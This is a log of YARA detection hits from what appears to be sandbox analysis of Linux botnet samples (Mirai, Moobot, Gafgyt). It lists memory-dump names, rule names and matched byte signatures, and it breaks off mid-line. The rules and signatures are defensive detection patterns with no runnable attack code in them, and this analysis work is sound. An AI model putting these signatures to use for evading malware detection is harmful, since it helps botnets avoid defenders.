6877.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6877.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6877.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6877.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6877.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6877.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7048.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6939.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6939.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6939.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6939.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6939.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6939.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7284.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7331.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6545.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6765.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7331.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7331.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7331.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7331.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7331.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6957.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6957.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6957.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6957.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6957.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6957.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6450.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6450.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6450.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6450.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6450.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6450.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6643.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6852.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6329.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6329.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6329.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6329.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6329.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 